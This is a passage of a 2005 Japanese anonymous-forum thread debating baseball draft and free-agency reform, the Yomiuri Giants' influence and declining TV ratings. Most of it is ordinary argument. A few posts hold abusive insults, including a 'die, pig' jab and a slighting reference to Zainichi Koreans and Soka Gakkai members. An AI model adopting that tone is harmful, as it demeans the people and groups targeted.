人材がいなければ、チーム作りなんてできないわけだしなwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

人材いるのに、選手が育てられないのは、その球団の責任wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


300 :名無しさん@恐縮です:2005/04/27(水) 13:28:20 ID:moMDPfBK
自由枠を維持するにしてもウェーバー導入にしても
メジャーへのアマ有力選手の流出を防ぐには
FA取得期間の短縮は避けられないんじゃないだろうか
自由枠で入ったからFAで行くのが早くても30過ぎでは
返ってメジャー志望の有望選手に逃げられる可能性も出てくる

301 :名無しさん@恐縮です:2005/04/27(水) 13:29:16 ID:9liCLIvf
おすし食べない人はまったく食べない!
食べる人は食べるけど・・・


302 :名無しさん@恐縮です:2005/04/27(水) 13:30:05 ID:wbq+R4Jg
めでたし、めでたし




303 :名無しさん@恐縮です:2005/04/27(水) 13:30:13 ID:qgHQcaF6
>>294
君はあっちの会社に就職して

君はあっちの部署に行ってくれ

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

304 :名無しさん@恐縮です:2005/04/27(水) 13:30:29 ID:sdU2Q9/K ?
( ´,_ゝ`)ナベツネみたいにはいかないよね

305 :名無しさん@恐縮です:2005/04/27(水) 13:30:50 ID:XHmdI7zp
はぁ?死ねよ豚

306 :名無しさん@恐縮です:2005/04/27(水) 13:30:54 ID:zF1Y4AGM
【告発スクープ「人気凋落」巨人戦を皆さまの受信料34億円で助けたエビ様】
週刊文春
       ↓
巨人戦も民放ではなかなか売れなくなってきたので、どうせ分からないだろうから
受信料使わしてもらいました

307 :名無しさん@恐縮です:2005/04/27(水) 13:31:30 ID:U8n4DNvN
どうせあと10年くらいで野球潰れるんだから何したっていいんじゃね?


308 :名無しさん@恐縮です:2005/04/27(水) 13:31:43 ID:yJgIi3JS
>>297
そこまでやっても勝てない→また取って飼い殺し
→でも勝てない→さらにやる→でも勝てない

そりゃ見てる方はくだらねーって思うだろぅ…
一極集中は原因の一因であると俺は思うがな。

309 :名無しさん@恐縮です:2005/04/27(水) 13:32:23 ID:NSbEb3rm
>>303
その理屈だとチーム削減って「就職先が減る」んじゃなくて「勤務部署が減る」んだよな。

310 :名無しさん@恐縮です:2005/04/27(水) 13:32:36 ID:gUcYkLEN
>>298
プロ野球っていう職業は自由に選択できてるじゃん。
普通の会社は言っても配属は自由にできなくね?

第一、プロ野球選手ってそのチームの社員になるんだっけ?
一応、労働組合は認められたみたいだから特殊な状態ではあるが、
個人事業主なんだからプロ野球っていう協会に属してからの配置転換と
みれば普通の会社とあんまり変わらなくなるし、これがいいかは別にして
その考えは通らないんじゃない?

311 :名無しさん@恐縮です:2005/04/27(水) 13:32:48 ID:AG4KJ1nZ
サッカーみたいに契約期間でしばったら?
飼い殺しでもいいから巨人軍って時代じゃないし

312 :名無しさん@恐縮です:2005/04/27(水) 13:32:52 ID:PY2Jcd3U
逆ウェーバーって上位球団が好きな選手を選べる制度の
ことか?考えうる中でもっとも最悪な改革案だな。

313 :名無しさん@恐縮です:2005/04/27(水) 13:32:53 ID:YV4cKbeV
>>303
もうちょっとw増やさないとインパクト薄いな。


314 :名無しさん@恐縮です:2005/04/27(水) 13:33:36 ID:t95dgeJd
なんで「新しいリーグをつくるぞ!!」って脅さないのか

315 :名無しさん@恐縮です:2005/04/27(水) 13:34:54 ID:3XkUow54
そうか!巨人って最下位のチームだっ!!

316 :名無しさん@恐縮です:2005/04/27(水) 13:35:06 ID:myrWkMSW
FA期間短縮は、最悪。
年俸高騰に拍車をかけるのは間違いない。
メジャー行きたいなら、ハンバーガーとバス移動を覚悟して
直接飛び込めばいいだろ。

317 :名無しさん@恐縮です:2005/04/27(水) 13:35:28 ID:qgHQcaF6
>>309
だから何?wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

雇用の機会が減るという点では同じで、レベル低下につながる
野球選手はプロ10年目で花開く場合もあるわけで、
チーム削減すると、才能のある目をつむ可能性にもなりかねないwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


318 :名無しさん@恐縮です:2005/04/27(水) 13:36:37 ID:EVDCASJ3
競馬と同じで実力が均衡しているから、スポーツは面白いんだよ。

いい選手ばかり集めてレースしても面白みに欠ける。
まだわからないのか。巨人は。

いい選手がいても監督が馬鹿なら優勝できない。

監督がよければ、屑選手が輝き、いい選手になることもある。
素材はプロに入った以上一級品なんだから。

その醍醐味がまったくないからファンが離れていくんだよ。

319 :名無しさん@恐縮です:2005/04/27(水) 13:38:11 ID:qgHQcaF6
>>310
その通り!!!!!!!!!!!!!!
誰かさんは統一契約書というものを知らないんだよwwwwwwwwwwwwwwwwwwwwww

バカだからwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

320 :名無しさん@恐縮です:2005/04/27(水) 13:38:21 ID:PBfbyAgs
人気球団、不人気球団っていうけど実際は
不人気球団、無人気球団の2つだろ?
野球のファンなんてひところの5000万人を大きく下回り今やわずか1000万人。
在日と創価学会員を足した数より少ない。
これではもう根本的に野球自体の人気底上げを考えないとどうしようもない。


321 :名無しさん@恐縮です:2005/04/27(水) 13:38:46 ID:gUcYkLEN
>>316
たしかにFA期間短縮は単独ではあまり良い手段とはいえないけど、
サラリーキャップと併用させたら効果を発揮するんじゃない?

個人的にはドラフトなんかよりサラリーキャップを導入させるほうに力を入れるべき
だと思う

322 :名無しさん@恐縮です:2005/04/27(水) 13:38:50 ID:YV4cKbeV
>>308
それでも勝てない巨人プギャ-ってのも
いい加減飽きられてきた感はたしかにあるよな。

でもさぁ、その原因をつくってるのは選手とファンでもあるわけじゃん。

選手が移籍拒否 → できるのにしない
ファンが強奪をやめさせる → そんな動きは微塵もなし

巨人のつくりだす流れに誰も表立って逆らわないのが今の現状を招いたわけで。
暴走する側にもそれだけの原因はあるもんだと思うぞ。

323 :名無しさん@恐縮です:2005/04/27(水) 13:40:12 ID:PY2Jcd3U
>>320
巨人の視聴率をベースにして1000万人って計算してるの?

324 :名無しさん@恐縮です:2005/04/27(水) 13:41:19 ID:2U+P5UVb
今後はソフトバンクが球界を仕切ります。

                    ペテン禿

325 :名無しさん@恐縮です:2005/04/27(水) 13:41:58 ID:cX9w9b3V
人気急陥落の理由が解ってないんだな、さすがは虚塵代表。
キライだからトコトン堕ちな。せいせいする

326 :名無しさん@恐縮です:2005/04/27(水) 13:42:10 ID:moMDPfBK
>>316
だからFA期間短縮しないなら結局直接メジャー行くやつが増えるって事だろ

327 :名無しさん@恐縮です:2005/04/27(水) 13:42:37 ID:sdU2Q9/K ?
>>322
あまつさえファンや解説者、関係者は巨人が強くないと・・・みたいな空気だしな

328 :名無しさん@恐縮です:2005/04/27(水) 13:43:02 ID:myrWkMSW
とにかく、FA短縮は金のない球団から夢を奪うだけでなく、
金の使える球団をも簡単に財政危機に陥れる。
結局それが入場料などに跳ね返ってくるんだから。

329 :名無しさん@恐縮です:2005/04/27(水) 13:43:33 ID:qgHQcaF6
>>308
一極集中が原因なのではなくて、
使えなくなった選手をさっさと切らないのが問題wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

黙ってても、有力選手が寄ってくるのは、ええことやんかwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

問題はその取捨選択を球団が適切にできるかどうかだねwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


330 :名無しさん@恐縮です:2005/04/27(水) 13:44:07 ID:kZ4S2+Av
本当に巨人ファンがいるのかなぁ。。。
アンチ巨人ファンの方が多いような気がする。。。

331 :名無しさん@恐縮です:2005/04/27(水) 13:44:19 ID:q6o7M4dD
今年も中日独走でプロ野球脂肪

332 :名無しさん@恐縮です:2005/04/27(水) 13:44:28 ID:PY2Jcd3U
FA選手を獲得した球団はドラフトの上位指名を出来ない
ようにすればいいんだよ。MLBでもこれを採用してるし。

333 :名無しさん@恐縮です:2005/04/27(水) 13:45:19 ID:qgHQcaF6
>>330
巨人ファンは減った
それは関東の視聴率が示しているwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

334 :名無しさん@恐縮です:2005/04/27(水) 13:45:32 ID:jvj+KA2l
東京・横浜・名古屋・関西・広島の主要都市に球団があればそれなりに客はいるだろ。セリーグは虚塵のおかげじゃなくて地の利だけだよ。

335 :名無しさん@恐縮です:2005/04/27(水) 13:46:31 ID:YV4cKbeV
>>330
まぁ、じいさんなんかが多そうだよね巨人ファン。
俺らがその存在を確認しにくいのも無理もない。

336 :名無しさん@恐縮です:2005/04/27(水) 13:46:41 ID:sdU2Q9/K ?
>>330
毎日テレビに映ってるじゃん

337 :名無しさん@恐縮です:2005/04/27(水) 13:46:48 ID:yJgIi3JS
>>322
いや、選手は金が他よりもらえて、元巨人ってだけで
あの世界では何かいろいろ得らしいから行くのは当然。
(例:元西武の大久保)
選手でも構造そのものが巨人有利らしいから行くんだろ、多分。
そういう点では流れができる以前の問題なのではないかな。

ファンは巨人ファンなら強くなってうまーとか言う風に思うだろうから
何も言わないんじゃね?
そうでないやつらは「今年は誰取るんですか?」ってたいがい呆れてたと思うが。
ファンが選手獲得やめろと動いてもかわるものでもあるまい。

338 :名無しさん@恐縮です:2005/04/27(水) 13:48:04 ID:PY2Jcd3U
巨人人気に頼らないと球団を維持できない球団がセでもほとんどだろ。
だから今まで巨人の主張が通ってきた。
放映権料が減っても球団を維持できる体制を作るほうが先決。
広島が今期からマツダに支援してもらってるように。
巨人人気が低下して喜んでばかりはいられないだろ。

339 :名無しさん@恐縮です:2005/04/27(水) 13:50:59 ID:YV4cKbeV
>>327
まぁ、関係者(マスコミ関係が多いだろうけど)にとっては、
球界の未来より目先の視聴率が大事だから
スターどんどんとって茶の間にアピールするほうが楽なんだろうね。
だからこそ強奪を推奨すると。

340 :名無しさん@恐縮です:2005/04/27(水) 13:51:39 ID:n3Q2gMd/
商売熱心で巨人中心に偏ったマスコミも同罪。
だから>>331のような意見が出てくる。

所詮、巨人ファンの大半はマスコミに煽られてなった連中がほとんど。

で、こいつら何処行ったかというと
あるときはサッカー日本代表の応援。
あるときは十代の女子ゴルファーの応援。
マスコミの煽動で動いているミーハーがほとんど。


341 :名無しさん@恐縮です:2005/04/27(水) 13:52:31 ID:Bhu3X+eV
  ┏━┓  ┏━┓  ┏━┓    ┏┓       ┏┓┏━┓  ┏━┓      ┏┳┓      ┏┳┓
┏┛┏┛┏┛┏┛┏┛┏┛┏┓┗┛┏━┓ ┗┛┗┓┗┓┗┓┗┓  ┏╋╋┻━┳━┻╋╋┳┓
┃┏┛  ┃┏┛  ┃┏┛  ┗┛    ┃  ┃       ┗┓┃  ┗┓┃┏┛┗┫┏┓┣━┓┃┃┃┃
┃┗┓  ┃┗┓  ┃┗┓  ┏┓  ┏┛  ┗┓     ┏┛┃  ┏┛┃┗┓┏┣┛┃┃  ┃┃┃┃┣┓
┗┓┗┓┗┓┗┓┗┓┗┳┛┃  ┃┏━┓┃   ┏┛┏┛┏┛┏┛  ┃┃┃┏┛┃┏┛┣┛┃┃┃
  ┗━┛  ┗━┛  ┗━┻━┛  ┗┛  ┗┛   ┗━┛  ┗━┛    ┗┻┛┗━┛┗━┻━┻━┛

342 :名無しさん@恐縮です:2005/04/27(水) 13:52:40 ID:cotO3Lha
>>332
FAで放出した球団の指名(補充?)後に残りの素人から通常のドラフトを何事も無かったように
行って欲しいな。 

343 :名無しさん@恐縮です:2005/04/27(水) 13:53:21 ID:LC+645NU
完全ウェーバー実施
FA年限短縮(7〜5年)
サラリーキャップ制導入

体力が残ってるうちに、はやく実行すれ。
死に体になってからじゃ遅いぞ。

344 :名無しさん@恐縮です:2005/04/27(水) 13:55:50 ID:gUcYkLEN
>>338
正論だね。
その通りだと思う、しかもその体制を作るため今オフまでに
できる限りの案を出して、今オフには実行に移さないといけない。

もちろん、1回手術して完治するような軽症ではないから継続的に
その目的に向かって改革していかなくてはいけない。

構造的な面ではやはりサラリーキャップ(すぐに無理であれば短期的に贅沢税)、
ドラフト、FAかな?



345 :名無しさん@恐縮です:2005/04/27(水) 13:57:34 ID:YV4cKbeV
>>337
選手側に確固たる信念がないというか、
移籍すればするほど、流れを増長する結果に繋がるのに、
それでも移籍を選ぶ。要は選手側が進んで球界潰しに奔走したって見方もできる。
自身の保身ばかり考えて、球界の将来のことなど眼中になかったってことだからな。

巨人ファンは弱くなってても文句言わんじゃん。
他チームのファンも呆れてるばかりじゃなく
「球界のために」行動することがあったんじゃあるまいか。
1リーグだの2リーグだので茶番演じる前にさ。


346 :名無しさん@恐縮です:2005/04/27(水) 13:58:45 ID:q6o7M4dD
>>340
アフォや

347 :名無しさん@恐縮です:2005/04/27(水) 13:59:02 ID:gUcYkLEN
>>340
そのミーハーにいかに熱心なファンになってもらうかも課題だよ。
今の日本人は怖いほど熱しやすく冷めやすいから難しいけど。

348 :名無しさん@恐縮です:2005/04/27(水) 13:59:42 ID:+qOaFReK
ドサクサに紛れて逆ウェーバーなんて糞案出す便器は氏ね。

349 :名無しさん@恐縮です:2005/04/27(水) 13:59:51 ID:2torye+V
>>345
今までどんなにファンや選手が騒いだって
「たかがファンが」で片付けられてたんじゃないか

350 :名無しさん@恐縮です:2005/04/27(水) 14:00:33 ID:PY2Jcd3U
MLBではアマ選手でも代理人を付けて契約金が膨らんで
貧乏球団は有望選手を指名できないでいるのは事実。
しかし、NPBでは上位指名でも1億5千万までという規約を
厳格に守って遂行すれば良い。それが嫌ならMLBでも
行けばよいし。現行ではNPBを経てMLBに行ってない選手の
人気を考えると全然脅威じゃないし。

351 :名無しさん@恐縮です:2005/04/27(水) 14:00:40 ID:mOAOr51v
最低だな。何でも自分の意見が通ると思ってるんだろ。
でもまあ清武も今年いっぱいだからなw

352 :名無しさん@恐縮です:2005/04/27(水) 14:02:04 ID:ie4XxpYa
腐ったミカンの箱の中に、綺麗なミカンを入れてもすぐ腐る。

353 :名無しさん@恐縮です:2005/04/27(水) 14:02:20 ID:jvj+KA2l
ナベツネなら意見が通らないとセリーグ脱退を宣言して、セリーグオーナーを服従させる策にでるけど

354 :名無しさん@恐縮です:2005/04/27(水) 14:03:47 ID:xFx3Rbgd
やっと他球団は巨人について行っても未来がないことに気付いたんだろ。
視聴率や観客動員みれば明らかではあるけど、ごり押しする我がまま爺さんが、
オーナー辞めたのも大きいだろうな。
これで、しっかりしたNPB組織の設立の話まで行けば良いんだけど、プロ野球はなw

355 :名無しさん@恐縮です:2005/04/27(水) 14:04:16 ID:yJgIi3JS
>>345
選手が目先しかみてないってのは、去年の騒動でもわかるな。
あれだけ騒いで、終わればいつもどおりのアップ要求だメジャーだなんだと…

ファンはどうなんだろな…所詮ファンと取られてた感が無きにしもだけど。

356 :名無しさん@恐縮です:2005/04/27(水) 14:04:44 ID:moMDPfBK
今まで球界の問題点が指摘されても
巨人との関係を悪くしたくないTVや新聞の主要メディアが
それを強く言えなかったりしたあまり報道しなかった為に
ここまでズルズル来た面はあるな

357 :名無しさん@恐縮です:2005/04/27(水) 14:04:58 ID:gUcYkLEN
>>353
だからこそ視聴率低迷で読売の求心力がなくなってきてる今が
改革の絶好のチャンスだよね。

358 :名無しさん@恐縮です:2005/04/27(水) 14:05:21 ID:YV4cKbeV
>>349
追い詰められれば即座に「ファンサービス」を展開してる現状を見てくれよ。
以前は追い詰め方が甘かったんだよ。

359 :名無しさん@恐縮です:2005/04/27(水) 14:08:37 ID:YhuDUZ+T
とりあえず来年のドラフトは、楽天への入団を拒否した選手を監視しよう。

360 :名無しさん@恐縮です:2005/04/27(水) 14:14:59 ID:2torye+V
>>358
追い詰め方が甘かったわけじゃないと思うぞ
ナベツネの権力が低下してきてたから通るようになっただけだ

361 :名無しさん@恐縮です:2005/04/27(水) 14:18:45 ID:CwW3gVk0
っつうか、全球団の選手をシャッフルしろよ。
今のままじゃ、つまらな過ぎ。

362 :名無しさん@恐縮です:2005/04/27(水) 14:21:11 ID:Bhu3X+eV
ユーたちシャッフルしちゃいなよ

363 :名無しさん@恐縮です:2005/04/27(水) 14:22:50 ID:h+V7j8RS
もうやめちゃえ、やめちゃえ

364 ::2005/04/27(水) 14:30:57 ID:yPxlqtg1
ドラフトやって指名が重なったらそこだけ自由競争(期限は12/31まで)
競争に負けたらその順位の指名枠は無し
ただし選手側との密約など事前交渉が発覚すればその球団には入団出来なくする

365 :名無しさん@恐縮です:2005/04/27(水) 14:32:14 ID:pXHMm8nP
>>364
だから調査機関がないのが問題なんだよ。
MLBはコミッショナーが通話記録まで調べるからな。
根来にそんな権限を認めるとは思えん。

366 :名無しさん@恐縮です:2005/04/27(水) 14:33:46 ID:273m7MXG
>>364
事前交渉しないわけないだろ

367 :名無しさん@恐縮です:2005/04/27(水) 14:36:16 ID:6mLDQ3NV
改革元年なんて偉そうな事言ってるが
楽天にエキスパンションドラフト認めなかった時点で全てが信用できない。
観客実数発表がどうした。んなもん当然の事だ。

368 :名無しさん@恐縮です:2005/04/27(水) 14:36:20 ID:W94+SGIr
いつまでも自由獲得枠を確保しておきたい巨人のいやらしさが見え見え

369 :名無しさん@恐縮です:2005/04/27(水) 14:36:24 ID:Gs69SoVS
つうかよー、大リーグの完全ウェーバー制は、逆指名制に近いようになっているんだったら、
巨人は最高じゃんか。何言ってんだ巨人よ。くそ。
一位二位くじ、三位からウェーバーが一番公平。

370 :名無しさん@恐縮です:2005/04/27(水) 14:36:29 ID:OyFcUOzD
>>15
都落ちをルール化すればいいんじゃね?

371 :名無しさん@恐縮です:2005/04/27(水) 14:37:04 ID:wyRVwtra
もういっそのことアメプロみたいにしちゃったら?

372 :名無しさん@恐縮です:2005/04/27(水) 14:37:46 ID:pXHMm8nP
>>370
カス選手4人で一位を指名できる革命ルールで。

373 :名無しさん@恐縮です:2005/04/27(水) 14:39:47 ID:Zm17Klhu
2005年
4月 平均12.90% (283.8/22)
                    13.5 13.9
16.8 --.- 12.4 12.9 *8.8 13.0 15.1
10.9 --.- *8.9 13.6 11.9 12.7 14.7
14.9 --.- 12.4 14.2 12.5 10.9 12.0
15.2 --.- 12.6 **.* --.- **.* **.*

4月の月間平均視聴率が
15.00%(テレビ放送採算ライン)→残り3試合で平均30.40%
13.00%(カタツムリライン)    →残り3試合で平均13.73%

2004年
4月 平均15.08% (346.8/23)
                --.- 17.9 17.2
14.7 --.- 13.9 16.5 16.3 13.3 17.7
17.2 --.- 12.8 16.9 --.- 13.2 14.4
12.0 --.- 16.1 15.3 15.9 14.4 11.3
15.6 --.- --.- 12.4 14.7 17.1

2003年(注:開幕は3/28(金))
4月 平均16.19% (356.1/22)
    --.- 15.0 14.0 --.- --.- 14.7
13.7 --.- --.- 13.9 12.4 18.8 19.5
20.0 --.- 19.3 12.0 --.- 16.3 19.8
16.3 --.- 16.2 16.9 16.8 14.8 13.7
17.0 --.- 19.5 15.5


374 :名無しさん@恐縮です:2005/04/27(水) 14:40:00 ID:OCM6vWfs
そうかウェーバーに備えてビリ独走していたのか

375 :名無しさん@恐縮です:2005/04/27(水) 14:40:26 ID:Fm8F2i8y
ぶっちゃけ何をどうしたってケチがつくので
この際じゃんけんで

376 :名無しさん@恐縮です:2005/04/27(水) 14:40:40 ID:CDOn6N9C
個人的には完全ウェーバーには反対だな
くじ引きでいいじゃん

377 :名無しさん@恐縮です:2005/04/27(水) 14:43:06 ID:mOAOr51v
>>373
去年も随分視聴率悪いと思ってたが、今年と比べるとずっと良かったんだな。

378 :名無しさん@恐縮です:2005/04/27(水) 14:43:59 ID:FJmbKca9
サイコロできめれや。

で、6でたら巨人だけはかた号で博多

379 :名無しさん@恐縮です:2005/04/27(水) 14:44:44 ID:+mKDOrZQ
最下位球団
負け犬の遠吠え

380 :名無しさん@恐縮です:2005/04/27(水) 14:44:52 ID:QC23sxc2
ドラフト制度をさんざん自分達の都合が良い様に
骨抜きにしておいて、まだ言いますか? >巨人

視聴率が取れずにTV局が泣いてるから、もう
独自リーグ立ち上げをぶち上げても反応無し(w

381 :名無しさん@恐縮です:2005/04/27(水) 14:45:59 ID:PY2Jcd3U
来月は交流試合で一時的に視聴率は回復するだろうが
これ以降が問題。MLBはストで落ちまくった人気を交流試合
で回復したがこれが巨人に当てはまるかどうかはわからないし。

382 :名無しさん@恐縮です:2005/04/27(水) 14:46:01 ID:X+/zwEm+ ?
基本はウエーバーで、わざと負けないような対策を取る。
同時にFAまでの期間短縮。栄養費などの不正には厳罰を処す。
自由獲得枠は他の球団が欲しがらない選手にのみ使っても良いルールにしよう。

383 :名無しさん@恐縮です:2005/04/27(水) 14:46:26 ID:8K+6KVbM
MLBの完全ウエーバーが失敗している。

それは最も資質のある優秀な新人が、

最も貧弱の全ての面で失敗しているチームから取られてしまうからだ。

その結果、スーパースターになりえる素材の選手がプロ行き後、低迷し、または酷使され、

最後にはスター選手は外国人と、下位チームが移籍金目的で早い段階で上位チームにトレードに放出した選手だけになる。

384 :名無しさん@恐縮です:2005/04/27(水) 14:47:49 ID:Lma1Qvuc
>「分かっていない人はまったく分かっていない」

アメリカのラムズフェルドか誰かが言って、
その年の最も意味がわからない言葉大賞みたいのに選ばれたのどんな言葉だったっけ?

わかっていないことをわかっているがわかっていないひとはそれもわかっていないから云々・・・

385 :名無しさん@恐縮です:2005/04/27(水) 14:48:14 ID:8K+6KVbM
むしろ2名の自由枠を無くし逆ウェーバー制か、
ドラフト廃止、自由競争がいい。

386 :名無しさん@恐縮です:2005/04/27(水) 14:48:25 ID:PY2Jcd3U
MLBで完全ウェーバーが失敗してるのはアマの有望選手の契約金が
金持ち球団しか払えないくらい膨らむから。

387 :名無しさん@恐縮です:2005/04/27(水) 14:49:30 ID:XWkw8TOx
んでメジャーの完全ウェーバーのどの部分が失敗してるのか明言してるの?

388 :名無しさん@恐縮です:2005/04/27(水) 14:50:25 ID:Gs69SoVS
FA7年も9年も変わらん。再取得も7年後にすればいいんだよ。
むしろ7年の方が年俸が安いときにFA移籍できるんだから、いいんだよ。
しかも、9年だと年俸が高いし、結構年いってるから、結局あまり活躍しないと                                    
いうことが多いし。
一位二位くじ、三位からウェーバー、FA7年、再取得7年後がいい。

389 :名無しさん@恐縮です:2005/04/27(水) 14:50:48 ID:sl2InWxU
巨人はフェラーリの10倍ウンコだな

390 :名無しさん@恐縮です:2005/04/27(水) 14:50:53 ID:X+/zwEm+ ?
>>381
視聴率上がるかね?パリーグなんてほとんど知ってる選手がいないんだけど。
松坂、城島、新庄、谷、一場、初芝くらいしか知らん気がする。別に見なくてもいいや。

391 :名無しさん@恐縮です:2005/04/27(水) 14:52:12 ID:bDgeS/y4
問題は金のあるところが金を出しすぎることだろ。

入場料とか放映料とか均等に分配するようにすれば、一社だけが大量に金を出すことは少なくなる。
優勝チームへの特典は別に考えればいい。

ってかアメリカかどっかがこんなやり方だっけか。

392 :名無しさん@恐縮です:2005/04/27(水) 14:55:35 ID:PY2Jcd3U
>>390
個人的には巨人ーロッテ戦の方が巨人ー阪神戦より楽しみでは
ある。

393 :名無しさん@恐縮です:2005/04/27(水) 15:01:23 ID:Gs69SoVS
メジャー行くのはしょうがない。
Jリーグでも選手が海外行って人気落ちてるか?
落ちてないでしょう。しょうがないよ。
それより戦力均等。セもプレーオフやるとか。

394 :名無しさん@恐縮です:2005/04/27(水) 15:08:45 ID:Zm17Klhu
>>393
Jは海外に行っても、それを埋めるべく若手がどんどん出てきて育ってる
野球は海外行く奴にベッタリで期待し過ぎ

395 :名無しさん@恐縮です:2005/04/27(水) 15:08:52 ID:XRZrAnN+
>>393
サッカーは日本代表があるから。
野球選手は海外行っても何も国内に還元されない。


396 :名無しさん@恐縮です:2005/04/27(水) 15:12:56 ID:PY2Jcd3U
底辺を育てる上でイチロー、松井は影響力がある。還元されてないは言い過ぎ。

397 :名無しさん@恐縮です:2005/04/27(水) 15:13:14 ID:1rizbaW/
で、清武はどんな意見を言ったの?
誰かおしえて

398 :名無しさん@恐縮です:2005/04/27(水) 15:13:58 ID:2/PgNAkZ
>>391
入場料とか放映料とか均等に分配すると、
球団経営に不熱心だったり、魅力ある戦力、チーム作りをしないオーナー、球団を延命させる事になる。
今以上に努力しなくなる。
駄目チーム、駄目オーナーが退場しなくなるな。

399 :名無しさん@恐縮です:2005/04/27(水) 15:16:00 ID:2/PgNAkZ
追加。
>>391
>入場料とか放映料とか均等に分配すると、
集めて分配する組織が巨大利権とかし、官僚化として巨大になるだけ。
デメリットの方が大きい。


400 :名無しさん@恐縮です:2005/04/27(水) 15:18:44 ID:+Sz6gWCO
もう巨人の言いなりには絶対ならん。
いい加減巨人も気付けよ。
巨人は永遠に不潔です。
巨人消えろ。

401 :名無しさん@恐縮です:2005/04/27(水) 15:19:31 ID:/dJr9yMH
まさにジャイアン


402 :名無しさん@恐縮です:2005/04/27(水) 15:21:34 ID:02Q0SRf7
>>390
全国放送してくれれば知ってる選手増えて楽しくなるのにそれをしないから
糞なんだろーが。もっとパリーグの選手みたいよ。

403 :名無しさん@恐縮です:2005/04/27(水) 15:23:21 ID:qtlti92v
楽天の状況をみれば戦力均等がいかに大事かわかるだろう

404 :名無しさん@恐縮です:2005/04/27(水) 15:23:42 ID:Zm17Klhu
>>400
まず、巨人の意見ばかりが通ってところから直さないと、改革は進まないね!


405 :名無しさん@恐縮です:2005/04/27(水) 15:24:27 ID:3GfcE8kK
オーナー対抗野球拳

406 :名無しさん@恐縮です:2005/04/27(水) 15:26:08 ID:qlVH6DNY
巨人の中継やめて、パを中心とした試合の中継すれば
野球人気復活するのに!バカばっかりだよもう!

407 :名無しさん@恐縮です:2005/04/27(水) 15:27:05 ID:PY2Jcd3U
テレ朝が試みたけどかなりの低視聴率だったから辞めたような
気がするけどな。パの放送は。

408 :名無しさん@恐縮です:2005/04/27(水) 15:29:51 ID:qlVH6DNY
>>407
ちょっとだけですぐやめたからでしょ?
1シーズン通してコンスタントに流せば、
みんな見ると思う。今は野球つまんないって思ってる人も
パの野球みれば絶対好きになるよ!
パにはイケメンも多いしね、女のファンも増えるよ!

409 :名無しさん@恐縮です:2005/04/27(水) 15:30:13 ID:X+/zwEm+ ?
>>402
なんか噛み合ってないね。
パを見たい人は当然いるだろうけど、見たくない人とどっちが多いかという話なんだけど。
本当に見たい人なら、衛星なりCATVなりで既に見てるんじゃないの?まぁスレ違いか。

410 :名無しさん@恐縮です:2005/04/27(水) 15:33:10 ID:PY2Jcd3U
セリーグの球団対パリーグの球団の試合が見たいわけでパリーグの
試合が見たいわけじゃない。それが交流試合の面白いところ。

411 :名無しさん@恐縮です:2005/04/27(水) 15:33:44 ID:moMDPfBK
NFLが一番運営的に成功している事を考えると
資金の分配が即経営努力の放棄などで悪いほうに進むとは考え難い
ただ程度の問題でもあるしあそこまで完全にやることには賛成しないが

412 :名無しさん@恐縮です:2005/04/27(水) 15:34:07 ID:kcYNi7SC
揉めた際昔だったら巨人が新リーグ構想をあげると他球団が巨人の言うことを聞いていたけど
今じゃ巨人さん新リーグ作りたいなら勝手に作ってくださいみたいな感じだからね。


413 :名無しさん@恐縮です:2005/04/27(水) 15:36:09 ID:17Vy94HD
つうか交流試合って、そんなに関心もたれてるのかね。
これで視聴率伸び悩んだらもう逃げ場ないな。

414 :名無しさん@恐縮です:2005/04/27(水) 15:40:10 ID:2/PgNAkZ
>>411
NFLは総収入における放映権料の割合が高く、
NFLテレビ放映権を一括してまとめて大メディアに売ってるから。
事情も知らないのに適当な事いうな。

415 :名無しさん@恐縮です:2005/04/27(水) 15:47:16 ID:moMDPfBK
>>414
だったら資金の分配がなされれば経営努力の放棄で
経営によりマイナスになるという具体的な根拠出せよ
お前の憶測だけで適当な事言ってるわけじゃないだろうな?

416 :名無しさん@恐縮です:2005/04/27(水) 15:51:28 ID:fMWt2Jo4
この署名記事書いている飯島記者は怒ってるだろうな。

彼のコラム読むと、球界の改革に熱心な清武氏にかなり好意的で
むしろ世論迎合的に完全ウェーバーを主張するような球団代表に対して
「改革の熱意まで巨人依存か」と批判している。
ただ、清武が巨人の人間である以上、巨人に不利な形での改革は難しいから
他の球団代表も、清武くらいの熱意を持ってやってほしいというスタンス。

この記事も全体としては同じ論調になっているんだが、
> 巨人の意見が通らない! 
> 巨人の意見ばかりが通っていた過去とは違う現状が露呈した。
> 何でも思い通りに進めなければ気が済まない巨人が、今後どんな策を講じるか注目される。

この三つが他の文と乖離しているし、ここのせいで清武を揶揄するような印象の
記事に変わっている。明らかに他の人間が蛇足的に付け加えたものだろ。

417 :名無しさん@恐縮です:2005/04/27(水) 15:51:29 ID:2/PgNAkZ
>>411
NFLが一番運営的に成功しているのは、メディアグループのドンが熱心なNFL贔屓な人物で、
実態以上の巨額でNFL放映権料名目で契約しているだけ。

資金分配したから運営が成功しているんじゃないの。
逆に、そのメディア王の権力が無くなりシビアな契約になると、
NFL全体が苦境に陥るの。

418 :名無しさん@恐縮です:2005/04/27(水) 15:55:20 ID:mKhpnFyH
テレ朝のパ中継って8時〜9時の延長無しみたいな感じじゃなかったっけ。
その頃は西武ファンだったけど、むしろバカにされてるみたいで見る気にならなかった。
NPBは民放が逃げ出す前に、自らが方向転換したと言い訳できるような
大きな決断をすべきじゃないかな。
まぁ、中継のコストを削ればこのまま巨人中心でズルズルやっていくのも可能だろうけど。

419 :名無しさん@恐縮です:2005/04/27(水) 15:58:39 ID:XfbGDtLD
こんだけ改革改革言われてるのに、現状維持に近い形を主張して、
それに反対されると「分かっていない人はまったく分かっていない」

お前が一番分かってない。



420 :名無しさん@恐縮です  :2005/04/27(水) 15:59:34 ID:4rkeE7EB
虚塵空気嫁

421 :名無しさん@恐縮です:2005/04/27(水) 15:59:37 ID:4GaI/Vh/
